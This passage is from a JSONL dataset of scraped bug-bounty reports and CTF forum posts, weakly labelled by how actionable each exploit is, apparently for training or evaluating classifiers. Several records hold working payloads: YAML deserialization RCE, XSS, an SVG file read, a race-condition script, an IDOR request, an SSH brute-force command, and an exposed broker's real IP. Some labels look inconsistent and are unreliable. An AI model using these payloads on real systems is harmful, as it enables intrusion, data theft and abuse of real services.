"cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e54e3d0e7bafbb20759", "text": "[Double Free] CVE-2022-28738: Double free in Regexp compilation\n\nDue to a bug in the Regexp compilation process, creating a Regexp object with a crafted source string could cause the same memory to be freed twice. This is known as a “double free” vulnerability. Note that, in general, it is considered unsafe to create and use a Regexp object generated from untrusted input. In this case, however, following a comprehensive assessment, we treat this issue as a vulnerability.\n\npoc:\n```\nruby -e '/(\\\\x15\\\\x17\\\\xE2\\\\xF5\\\\xF5\\\\xF5\\\\xC2\\\\x04\\\\x08J,\\\\x00\\\\xD0\\\\x00\\\\x00(?(1)\\\\xF5\\\\xF5\\\\xF5\\\\xD7\\\\xF5\\\\xF5\\\\xF5\\\\x87\\\\x04\\\\xFA555\\\\xBEJ,\\\\x18FF\\\\x15\\\\xFF|\\\\x03\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\x8F\\r|)44\\\\x00\\\\x8F\\r|)+/m'\n```\n\n## Impact\n\nmay lead to a RCE attack cooperate with marshal.load", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-28738"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "435a4abcd3064089a334", "text": "[Business Logic Errors] No rate limit on subscribe form\n\n## Summary:\nHi team, I found that you missing a rate limit protection for subscribe form \n\n## Platform(s) Affected:\nhttps://business.yelp.com/?source=consumer_site_header&utm_content=header&utm_medium=www&utm_source=cons_home\n\n## Steps To Reproduce:\n\n\n  1. go to https://business.yelp.com/?source=consumer_site_header&utm_content=header&utm_medium=www&utm_source=cons_home\n  1. find a form with just email input (emailsub.png)\n  1. fill it with email click on submit then intercept the request \n  1.  send to burp intruder  go to  -> positions\n  1. clear `§`\n  1. add `§` in email like `youremail§1§@gmail.com`\n  1. go to -> payloads,  add numbers type paylaod like ( from : 2 , to : 100, step: 1)\n  1. start attack you will see all response with 200 ok and contain msg `Thanks for subscribing!` so no rate limit implemented\n\n##Fix:\nadd a recaptcha or 429 error (many requests)\n## Supporting Material/References:\nsee screenshots\n\n## Impact\n\nNo rate limit in form.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "de9c3da17e6fc33a6d53", "text": "[Privilege Escalation] subdomain takeover at status.hosting24.com\n\n**Domain**\n>https://status.hosting24.com\n\n**PoC**\n>https://status.hosting24.com\n\n## Impact\n\nstealing user cookies and informations", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e847354cd2dc4adee27d", "text": "[Code Injection] The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML\n\n## Summary:\n\nIf the `io.kubernetes.client.util.generic.dynamic.Dynamics` is used to deserialize a `DynamicKubernetesObject `from untrusted YAML, an attacker can achieve code execution inside of the JVM.\n\nSince this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?\n\n## Component Version:\n\nKubernettes Java Client version 17.0.0\n\n## Steps To Reproduce:\n\n1. Host a server with a JAR file containing the following code: \n```java\npackage org.jlleitschuh.sandbox;\n\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineFactory;\nimport java.io.IOException;\nimport java.util.List;\n\npublic class ScriptEngineFactoryRCE implements ScriptEngineFactory {\n    static {\n        try {\n            Runtime r = Runtime.getRuntime();\n            Process p = r.exec(\"open -a Calculator\");\n            p.waitFor();\n        } catch (IOException | InterruptedException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    @Override\n    public String getEngineName() {\n        return null;\n    }\n\n    @Override\n    public String getEngineVersion() {\n        return null;\n    }\n\n    @Override\n    public List<String> getExtensions() {\n        return null;\n    }\n\n    @Override\n    public List<String> getMimeTypes() {\n        return null;\n    }\n\n    @Override\n    public List<String> getNames() {\n        return null;\n    }\n\n    @Override\n    public String getLanguageName() {\n        return null;\n    }\n\n    @Override\n    public String getLanguageVersion() {\n        return null;\n    }\n\n    @Override\n    public Object getParameter(String key) {\n        return null;\n    }\n\n    @Override\n    public String getMethodCallSyntax(String obj, String m, String... args) {\n        return null;\n    }\n\n    @Override\n    public String getOutputStatement(String toDisplay) {\n        return null;\n    }\n\n    @Override\n    public String getProgram(String... statements) {\n        return null;\n    }\n\n    @Override\n    public ScriptEngine getScriptEngine() {\n        return null;\n    }\n}\n```\n\nThe jar file must contain a file `/META-INF/services/javax.script.ScriptEngineFactory` with the contents `org.jlleitschuh.sandbox.ScriptEngineFactoryRCE    # Our RCE Payload`\n\nHost this jar file from a local server's root path.\n\nThen call the `Dynamics` yaml parsing APIs with the following payload:\n\n```yaml\n!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8080/\"]]]]\n```\n\n## Fix\n\nThe SnakeYAML parser should be instantiated with the argument `new SafeConstructor()` in order to not be vulnerable to arbitrary deserialization.\n\n## Supporting Material/References:\n - https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in (I'm currently attempting to convince the maintainer of SnakeYaml to make this library secure by default, with limited sucsess)\n - https://nvd.nist.gov/vuln/detail/CVE-2022-1471\n - https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2\n\n## Impact\n\nIf this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-1471"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2383d258afd4283c1692", "text": "[Uncontrolled Resource Consumption] Missing character limitation allows to put generate a database error\n\nHi Security Team,\nSummary:\n=========\nThere is no limit to the number of characters in the display name, which allows a DoS attack. The DoS attack affects server-side.\nDescription\n=========\nOn the input form of Username in nextcloud.com/settings/user there's no Input validation using this you can send more payload and may cause of Denial of service or error code 500 Internal Server Error/Internal Error\nProof of Concept\n==============\n1.Go and login to your account\n2. Now go to setting and Deck ---> Add Boards section\n3.Insert name and intercept it\n4. Send to repeater replace it with payload the response code on the server side is 500 Internal Server Error\n\n## Impact\n\nImpact\n=======\nRemediation:\n===========\n+Implementing input validation\n+Validating free-form Unicode text\n+Define the allowed set of characters to be accepted.\n+Minimum and maximum value range\nImpact\n======\nAttacker can perform a DOS because of lack of input validation", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2716b21bfe1cf912872b", "text": "Please for the love of god help me before i loose my mind. got up to the last assesment no problem and have been on this for a week!!!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6797d49477f4101ea003", "text": "[Command Injection - Generic] RCE via the DecompressedArchiveSizeValidator and Project BulkImports (behind feature flag)\n\n### Summary\n\nThe `DecompressedArchiveSizeValidator` is used to check the size of a archive before extracting it:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/decompressed_archive_size_validator.rb#L82\n```ruby\n      def command\n        \"gzip -dc #{@archive_path} | wc -c\"\n      end\n\n   def validate\n        pgrp = nil\n        valid_archive = true\n\n        Timeout.timeout(TIMEOUT_LIMIT) do\n          stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)\n          stdin.close\n```\n\nSince `command` is a string and passed directly to `Open3.popen3` it will be interpreted as a shell command, so if `archive_path` contains any special characters it can be used to run arbitrary commands.\n\nOne of the places that the `DecompressedArchiveSizeValidator` is used is in the [Gitlab::ImportExport::FileImporter](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L110),\n\n```ruby\n     def size_validator\n        @size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file)\n      end\n```\n\nIt gets `@archive_file` from  the constructor, and is used by the [Gitlab::ImportExport::Importer](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/importer.rb#L48) which gets it from `project.import_source`.\n\nUnder normal circumstances `import_source` is nil and is generated by the `FileImporter` using `@archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable))`.\n\nMost of the places I've checked do not allow you to set the `import_source` for a project, or have the `import_type` set to something other than `gitlab_project` or `gitlab_custom_project_template` (which is required to use the `::Gitlab::ImportExport::Importer`).\n\nThere is one place though, in the `BulkImports::Projects::Pipelines::ProjectPipeline`. Luckily this is disabled by default as it requires the `bulk_import_projects` feature to be enabled. If/once this feature is enabled, it's possible to trigger the above flow.\n\nThis is possible as the two transformer on the `ProjectPipeline` are `:BulkImports::Common::Transformers::ProhibitedAttributesTransformer` and `::BulkImports::Projects::Transformers::ProjectAttributesTransformer`,  which first removes a list of prohibited keys:\n\n```ruby\nPROHIBITED_REFERENCES = Regexp.union(\n          /\\Acached_markdown_version\\Z/,\n          /\\Aid\\Z/,\n          /_id\\Z/,\n          /_ids\\Z/,\n          /_html\\Z/,\n          /attributes/,\n          /\\Aremote_\\w+_(url|urls|request_header)\\Z/ # carrierwave automatically creates these attribute methods for uploads\n        ).freeze\n```\n\nAnd then sets a few other values:\n```ruby\n          entity = context.entity\n          visibility = data.delete('visibility')\n\n          data['name'] = entity.destination_name\n          data['path'] = entity.destination_name.parameterize\n          data['import_type'] = PROJECT_IMPORT_TYPE\n          data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?\n          data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?\n\n          data.transform_keys!(&:to_sym)\n```\n\nAll of the other params are allowed and passed directly into `project = ::Projects::CreateService.new(context.current_user, data).execute`. The first thing the create service does its to check if it's creating from a template, and if so the `CreateFromTemplateService` is used instead:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L25-27\n```ruby\n    def execute\n     if create_from_template?\n        return ::Projects::CreateFromTemplateService.new(current_user, params).execute\n      end\n    # ...\n    end\n\n    def create_from_template?\n      @params[:template_name].present? || @params[:template_project_id].present?\n    end\n```\n\nSince we control all of the", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e845c5c1b2e777c963ea", "text": "[Business Logic Errors] The endpoint /api/internal/graphql/requestAuthEmail on Khanacademy.or is vulnerable to Race Condition Attack.\n\n## Summary \n\nThe endpoint `/api/internal/graphql/requestAuthEmail` on `www.khanacademy.org` is vulnerable to a _Race condition attack_. That may cause a random e-mail user to receive an important amount of emails to **Finish signing up for Khan Academy** with invalid links. The attack is because _your web applications checks the state of a resource (endpoint) before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state._  \n\n## Steps to reproduce:\n\n1. Connect to an account on www.khanacademy.org.\n1. Go to your ** Profile name > Settings > Account tab > Linked accounts > Connect another email.**\n1. Confirm your identity by providing your password.\n\n█████\n\n4. Write out a valid email, and then intercept the request using Burp Suite at least community edition when you click on **Send confirmation email**. Downgrade the HTTP communication protocol to `HTTP 1.1` and add the following header to the request : `X-Request: %s` (for the Turbo intruder extension).\n5. Send the intercepted request to Turbo intruder burp suite extension, and use the following python code to perform the attack :\n\n```\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=30,\n                           requestsPerConnection=100,\n                           pipeline=False\n                           )\n\n    # the 'gate' argument blocks the final byte of each request until openGate is invoked\n    for i in range(30):\n        engine.queue(target.req, target.baseInput, gate='race1')\n\n    # wait until every 'race1' tagged request is ready\n    # then send the final byte of each request\n    # (this method is non-blocking, just like queue)\n    engine.openGate('race1')\n\n    engine.complete(timeout=60)\n\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n6. Start the attack, the results are a lot of `200 OK` as can be shown in the following screenshot:\n\n{F1401913}\n\nAs you can, I've send only 30 requests in a small time frame.  \n7. The results is definitely an unwanted behavior. Where a random user, in our case `███` receives **30** emails inviting him to finish signing up for Khan-academy. \n\n{F1401914}\n\n8. The invitation link within those e-mails are most invalid and produce the following error.\n\n{F1401915}\n\n9. This behavior is not expected by your system since if you try to add an already added email your get the following warning.\n\n███████\n\n## Impact\n\n* The endpoint `/api/internal/graphql/requestAuthEmail` on [www.khanacademy.org](https://www.khanacademy.org) is vulnerable to a Race condition attack. That may cause a bombing e-mail a random user with an important amount of emails (in our PoC we had only 30 but it could be much more). The emails sent are **Finish signing up for Khan Academy** with mostly invalid links.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "188f0a56dbf183c0a75e", "text": "So the command kept timing out for me. I know this is probably a rookie mistake, but for anyone else who’s struggling with this, I eventually got it to work using ssh://SERVER_IP:SERVER_PORT instead of ssh://SERVER_IP:22 as described in the HTB guides (unless I misread it).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "490a56fb0a9ee9d3b58d", "text": "you need to spawn the target system then ssh into the ip address which spawned", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e1aab9992fecab6992bb", "text": "[Array Index Underflow] solving TOR vulnerability, in other to make bruteforce difficult\n\nactually this is result on my recent vulnerability scan on the TOR website below:\n135/tcp  filtered msrpc        no-response\n\n139/tcp  filtered netbios-ssn  no-response\n\n443/tcp  open     https        syn-ack ttl 51\n\n|_http-csrf: Couldn't find any CSRF vulnerabilities.\n\n|_http-dombased-xss: Couldn't find any DOM based XSS.\n\n| http-iis-webdav-vuln: \n\n|_  ERROR: This web server is not supported.\n\n| http-slowloris-check: \n\n|   VULNERABLE:\n\n|   Slowloris DOS attack\n\n|     State: LIKELY VULNERABLE\n\n|     IDs:  CVE:CVE-2007-6750\n\n|       Slowloris tries to keep many connections to the target web server open and hold\n\n|       them open as long as possible.  It accomplishes this by opening connections to\n\n|       the target web server and sending a partial request. By doing so, it starves\n\n|       the http server's resources causing Denial Of Service.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2007-6750"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7a45bf71e3be16d0ff6b", "text": "Feel free to DM me at anytime. I am East Coast US. so keep that in mind. It sounds like you are there, have you tried getting the flag to display in that error message? Or maybe copying? If you are using mv maybe it will not work. If you are still having trouble, just DM me with a screenshot, or the line of code you are using on the target server. -onthesauce", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "60ded6558c1ad7e0d61d", "text": "I am getting a connection refused error whenever I generate a target ip and try to connect to it in anyway. I cannot nmap scan or do anything with the target. Is anyone experiencing this? Doesnt work on the parrot VM, multiple PCs, multiple browsers and even tried refreshing the IP several times. Examples below image 546×115 9.96 KB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cdec9320ad1a02137802", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS via Kroki diagram\n\n### Summary\n\nIf Kroki has been enabled, it's possible to craft a `pre` block so that arbitrary attributes can be injected into the resulting `img` tag. \n\nThe css selector for finding a valid node to convert into a kroki diagram checks for either `pre[lang=\"#{diagram_type}\"] > code` or for `pre > code[lang=\"#{diagram_type}\"]`, but the diagram type is then set using `node.parent['lang'] || node['lang']`.\n\nSo if the `code` block has a valid lang (such as `wavedrom`) then the css selector will match, but if the parent `pre` also has a `lang` attribute then it will be the one that is used and can be an arbitrary value.\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.6.2-ee/lib/banzai/filter/kroki_filter.rb#L17\n```ruby\n        diagram_selectors = ::Gitlab::Kroki.formats(settings)\n                                .map do |diagram_type|\n                                  %(pre[lang=\"#{diagram_type}\"] > code,\n                                  pre > code[lang=\"#{diagram_type}\"])\n                                end\n                                .join(', ')\n\n        xpath = Gitlab::Utils::Nokogiri.css_to_xpath(diagram_selectors)\n        return doc unless doc.at_xpath(xpath)\n\n        diagram_format = \"svg\"\n        doc.xpath(xpath).each do |node|\n          diagram_type = node.parent['lang'] || node['lang']\n          diagram_src = node.content\n          image_src = create_image_src(diagram_type, diagram_format, diagram_src)\n```\n\nThe `diagram_type` is then used as-is to create a url, which is used to create an image with `<img src=\"#{image_src}\" />`. So if a double quote is used in the `diagram_type` then arbitrary attributes can be added (apart from `class` as that is replaced just below).\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.6.2-ee/lib/banzai/filter/kroki_filter.rb#L31\n```ruby\n          image_src = create_image_src(diagram_type, diagram_format, diagram_src)\n          img_tag = Nokogiri::HTML::DocumentFragment.parse(%(<img src=\"#{image_src}\" />))\n          img_tag = img_tag.children.first\n\n          next if img_tag.nil?\n\n          lazy_load = diagram_src.length > MAX_CHARACTER_LIMIT\n          img_tag.set_attribute('hidden', '') if lazy_load\n          img_tag.set_attribute('class', 'js-render-kroki')\n\n          img_tag.set_attribute('data-diagram', diagram_type)\n          img_tag.set_attribute('data-diagram-src', \"data:text/plain;base64,#{Base64.strict_encode64(diagram_src)}\")\n\n          node.parent.replace(img_tag)\n```\n\n### Steps to reproduce\n\n1. On a self-hosted gitlab, ensure that `Kroki` is enabled at `/admin/application_settings/general`{F2080922} \n1. Create an issue and use the following payload `<a><pre lang='f/\" onerror=alert(1) onload=alert(1) '><code lang=\"wavedrom\">xss</code></pre></a>`\n1. Reload/Visit the issue\n1. If you do not have CSP enabled you will see the alert pop, otherwise you will see a CSP violation in the console such as `Refused to execute inline event handler because it violates the following Content Security Policy directive`\n\nSince the `class` attribute cannot be set finding a CSP bypass was a bit tricky but there are still a few `data` based attributes that can be used, one of them being `data-diff-for-path` from `single_file_diff.js`. This is used as the path to load when the \"expand diff\" chevron is clicked allowing an arbitrary json file to be loaded and have jquery execute it to bypass the CSP.\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.6.2-ee/app/assets/javascripts/single_file_diff.js#L77\n```javascript\n    return axios\n      .get(this.diffForPath)\n      .then(({ data }) => {\n        this.loadingContent.hide();\n        if (data.html) {\n          this.content = $(data.html);\n```\n\nSince clicking the chevron is a bit unlikely, we can inject the `style` attribute to make the kroki overlay the entire page,  which when clicked injects some styles to make the `chevron` now overlay the entire page. \n\n1. Enable CSP on gitlab - https://docs.gitlab.com/omnibus/settings/configuration.html#set-a-content-security-policy\n1. Create a ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e37c97e84ad70e14d93a", "text": "[Cross-site Scripting (XSS) - Reflected] XSS because of Akamai ARL misconfiguration on ████\n\nHello team,\nI hope you're doing well & healthy.\nI found a reflected XSS because of the misconfiguration of Akamai ARL.\n\n███████\n\n## References\n\n      - https://github.com/war-and-code/akamai-arl-hack\n      - https://twitter.com/SpiderSec/status/1421176297548435459\n      - https://warandcode.com/post/akamai-arl-hack/\n      - https://github.com/cybercdh/goarl\n      - https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US\n\n## Impact\n\nIf an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:\n    Perform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nAkamai ARL\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nHere is the **PoC**\n\nhttp://███/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.location)%3E\n\n## Suggested Mitigation/Remediation Actions\nWeb application owners should keep their infrastructure up to date, and follow secure development best practices, avoiding Open Redirects and XSS vulnerabilities.\nSetting up specific WAF rules to detect and block XSS attacks and Open Redirects will increase the level of protection as well, and provide visibility to URLs that malicious users attempt to target.\n\nBest regards.\n@pirneci", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b360d61149351c399a74", "text": "[Improper Access Control - Generic] unauth mosquitto ( client emails, ips, license keys exposure )\n\nHi team\n\n## Summary\nconnect.acronis.com ( ip 88.99.142.45:1883 ) has unauth mosquitto mqtt, anyone can connect and read\\write messages\n\n## Steps To Reproduce\n[add details for how we can reproduce the issue]\n\n  1. https://github.com/bapowell/python-mqtt-client-shell\n  1. python3 mqtt_client_shell.py\n  1. connection\n  1. host 88.99.142.45\n   1. connect\n   1. subscribe \"#\" 1\n\n\n```\nPayload (str): b'{\"host\":\"nusite\", \"tag\":\"nusite-licenser\", \"level\":\"debug\", \"msg\":\" response: {\\'commands\\': [],\n \\'license_info\\': {\\'licensee_name\\': \\'██████████\\',\n \\'license_key\\': \\'█████████\\', \\'support_exp_date\\': \\'2021-11-30\\',\n \\'licensed_actions\\': [{\\'names\\': [\\'*\\'], \\'rules\\': [{\\'ops\\': [{\\'action\\': \\'allow\\'}]}]}]}, \\'signature\\': \\'\\'}\"}'\n```\n\n█████\n\n\n## Recommendations\nenable authentication\n\nThanks\n\n## Impact\n\naccess to client data, possibility to write messages to unauth mqtt", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b93e7b53e0f18d184213", "text": "To the question: Create an “If-Else” condition in the “For”-Loop of the “Exercise Script” that prints you the number of characters of the 35th generated value of the variable “var”. Submit the number as the answer. The amount you need to go up to might vary. Some had 28 , I had 35 , when you read this yours may be different Psudo code which worked for me: for counter in {1 up to the amount you need to count} do print the counter for Diagnostics var=$(echo $var | base64) if the counter is equal to \"the amount you need to count up to\" then echo $var | wc -c fi done echo $var | wc -c will print a 4/5/6/n digit number which is your answer. I was trying answers like “5” because it was a 5-digit number which was produced. That was wrong. NOTE: Run this on the PWN box, not your local machine because the hashing engine may be different to the one which generates in the answer Good luck !", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "efa486134b876999b4b9", "text": "Been stuck on this one for 4 days. Still stuck on first question trying to brute force the ssh login. Created personalized wordlist using Firstname William, Surname Gates, Nickname Bill. Using sed to shorten it to meet password requirements. Can’t get a hit on the password. Tried using rockyou-70 as well just incase I misunderstood. Command I’m using is hydra -l b.gates -P William.txt -u -f ssh://IP_Address:Port -t 4 Any guidance would be much appreciated!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4e69fba6b732ced7d777", "text": "[Information Disclosure] HEIC image preview can be used to invoke Imagick\n\nThe HEIC image preview provider calls into Imagick at https://github.com/nextcloud/server/blob/5d097ddb4b99673f57b8c085dedd93880ee2539d/lib/private/Preview/HEIC.php#L98-L109. This is bad as Imagick processes all kind of image types.\n\nOne can use this for example to exfiltrate arbitrary files by passing a SVG file that contains a `xlink:href` to a locally existing file. There are also other concerns with regard to SSRF and XML parsing done by Imagick.\n\nA super naive example, uploading a file such as \"test.heic\" with this content will render the file \"nextcloud20.png\" inside it. (but you can also reference PDFs, or use it for SSRF, etc etc.\n\n`test.heic`:\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<svg\n   xmlns:svg=\"http://www.w3.org/2000/svg\"\n   xmlns=\"http://www.w3.org/2000/svg\"\n   xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n   style=\"overflow: hidden; position: relative;\"\n   width=\"500\"\n   height=\"500\">\n    <image x=\"0\" y=\"0\" width=\"500\" height=\"500\" xlink:href=\"/Users/lukasreschke/Downloads/nextcloud20.png\" stroke-width=\"1\" id=\"image3204\" />\n</svg>\n```\n\nPreview:\n\n{F1376376}\n\n## Impact\n\nGaining access to arbitrary files on the system, SSRF, etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e558e80a3120cc62a9cf", "text": "[Unknown] IDOR - Delete technical skill assessment result & Gained Badges result of any user\n\nThe web app is vulnerable to IDOR at `DELETE /voyager/api/voyagerAssessmentsDashSkillAssessmentAttemptReports/urn%3Ali%3Afsd_skillAssessmentAttemptReport%3A(urn%3Ali%3Afsd_profile%███%2Curn%3Ali%3Askill%3A280%2C1)` HTTP request. Allows an attacker to delete the skill assessment result of any user's technical skill. This can be done by replaying the request using the victim's 'profileId' which can be obtained from the page source of the victim's public profile and the skill id which is a numeric identifier that can be brute-forced.\n\n###The Profile UUID can be obtained from the page source of the victim's public LinkedIn profile and the skill id can be brute-forced with the threshold of 3 requests in burp intruder.\n\n###Steps to reproduce:\n1. log in to an account.\n3. Give an assessment say HTML or PowerPoint.\n4. After completing the assessment go to - https://www.linkedin.com/skill-assessments/hub/quizzes/?channel=JOBS_HOME_NAVIGATION_BAR\n5. If the assessment is successful then click on the `Badge` button of your assessment else click on the `to retake ``button(https://www.linkedin.com/skill-assessments/hub/reports/?channel=JOBS_HOME_NAVIGATION_BAR&resultType=TO_RETAKE).\n6. Click on the Kebab menu icon and then click on the delete results button.\n7. Intercept the vulnerable request.\n8. Change the 'fsd_profile' profile parameter value with the victim's profile UUID `(this can be obtained from the page source of the victim's public profile page as shown in video POC)` and send the request to the intruder.\n9. Now brute-force the value of 'skill id' (Keep frequency 3). The victim's skill will get deleted.\n████\n\n###Video POC:\n███████\n\n###Vulnerable Request:\n```\nDELETE /voyager/api/voyagerAssessmentsDashSkillAssessmentAttemptReports/urn%3Ali%3Afsd_skillAssessmentAttemptReport%3A(urn%3Ali%3Afsd_profile%███████%2Curn%3Ali%3Askill%3A280%2C1) HTTP/2\nHost: www.linkedin.com\n```\n\n## Impact\n\nAn attacker can delete the badges and skill assessment results from any public LinkedIn profile by replaying the request using the victim's UID and skill id. The UID is publically available in the page source.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f0fdde00633c9bd0ccf", "text": "[Code Injection] Ingress-nginx annotation injection allows retrieval of ingress-nginx serviceaccount token and secrets across all namespaces\n\nI submitted the following report to security@kubernetes.io:\n> I've been exploring CVE-2021-25742 and believe I've discovered a variant (although it appears there may be many). Most template variables are not escaped properly in `nginx.tmpl`, leading to injection of arbitrary nginx directives. For example, the `nginx.ingress.kubernetes.io/connection-proxy-header` annotation is not validated/escaped and is inserted directly into the `nginx.conf` file.\n>\n> An attacker in a multi-tenant cluster with permission to create/modify ingresses can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account).\n>\n> I've created a secret gist demonstrating the issue against ingress-nginx v1.0.4: https://gist.github.com/amlweems/1cb7e96dca8ada8aee8dc019d4163f2c\n\n## Impact\n\nAn attacker with permission to create/modify ingresses in one namespace can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account). This service account has permission to read secrets in all namespaces.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-25742"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2f046755e0931610ea1b", "text": "This is not that kind of forum. If you want these kind of activities performed you best turn your browser elsewhere.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-06-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
